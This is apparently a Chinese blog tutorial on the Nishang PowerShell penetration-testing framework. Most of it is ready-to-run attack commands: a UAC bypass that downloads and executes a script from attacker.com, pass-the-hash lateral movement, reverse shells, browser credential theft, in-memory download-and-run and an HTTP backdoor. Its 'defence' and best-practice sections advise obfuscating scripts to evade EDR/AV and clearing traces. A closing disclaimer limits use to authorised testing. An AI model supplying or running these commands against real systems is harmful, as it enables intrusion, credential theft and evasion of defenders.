插件窝 干货文章 PowerShell渗透测试利器Nishang怎么用

PowerShell渗透测试利器Nishang怎么用

PowerShell Nishang Invoke 测试 87    来源:    2025-04-26

Nishang - PowerShell渗透测试框架使用指南

Nishang是一个基于PowerShell的渗透测试框架,专为红队、渗透测试人员和网络安全研究人员设计。它集成了大量实用的PowerShell脚本,可用于渗透测试的各个阶段。

一、Nishang简介

Nishang的主要特点: - 完全基于PowerShell - 提供从侦察到权限提升、横向移动、数据窃取等完整攻击链工具 - 支持内存执行,避免写入磁盘 - 可与Metasploit、Cobalt Strike等工具集成

二、安装Nishang

方法1:从GitHub克隆

git clone https://github.com/samratashok/nishang.git
cd nishang

方法2:直接下载

从GitHub发布页面下载最新zip包并解压: https://github.com/samratashok/nishang/releases

三、基本使用方法

1. 导入模块

Import-Module .\nishang.psm1

2. 查看所有可用脚本

Get-Command -Module nishang

四、常用脚本示例

1. 信息收集

# 获取系统信息
.\Gather\Get-Information.ps1

# 检查本地管理员权限
.\Escalation\Invoke-EnumerateLocalAdmin.ps1

2. 权限提升

# 检查可用的权限提升漏洞
.\Escalation\Invoke-PowerUp.ps1 -Check

# 尝试绕过UAC
.\Escalation\Invoke-PsUACme.ps1 -Payload "powershell -exec bypass -nop -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/rev.ps1')"

3. 横向移动

# 使用WMI执行命令
.\Execution\Invoke-WMICommand.ps1 -ComputerName target-pc -Credential domain\user -ScriptBlock {whoami}

# Pass the hash攻击
.\Execution\Invoke-WMIExec.ps1 -Target target-pc -Domain domain -Username user -Hash LMHASH:NTHASH -Command "net user"

4. 反向Shell

# 基本反向Shell
.\Shells\Invoke-PowerShellTcp.ps1 -Reverse -IPAddress 192.168.1.100 -Port 4444

# 使用SSL加密的反向Shell
.\Shells\Invoke-PowerShellTcpOneLineSSL.ps1 -IPAddress 192.168.1.100 -Port 443

5. 数据窃取

# 从浏览器窃取凭据
.\Gather\Get-BrowserData.ps1

# 获取剪贴板内容
.\Gather\Get-ClipboardContents.ps1

五、高级用法

1. 内存执行(避免写入磁盘)

IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/nishang/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.100 -Port 4444

2. 混淆脚本

.\Utility\Out-EncodedCommand.ps1 -ScriptPath .\Shells\Invoke-PowerShellTcp.ps1

3. 生成Payload

.\Client\HTTP-Backdoor.ps1 -PayloadURL http://attacker.com/payload.ps1 -MagicString start123 -StopString stop123

六、防御检测

使用Nishang时需要注意: - 大多数现代EDR/AV会检测Nishang脚本 - 建议进行代码混淆或自定义修改 - 考虑使用约束语言模式绕过限制

七、最佳实践

  1. 在测试前充分了解目标环境
  2. 使用前修改脚本特征以避免检测
  3. 仅在授权测试中使用这些工具
  4. 测试完成后清理痕迹

八、资源

  • 官方GitHub: https://github.com/samratashok/nishang
  • 文档: https://github.com/samratashok/nishang/wiki

请记住,这些工具仅应用于合法的渗透测试和安全研究,未经授权的使用可能违反法律。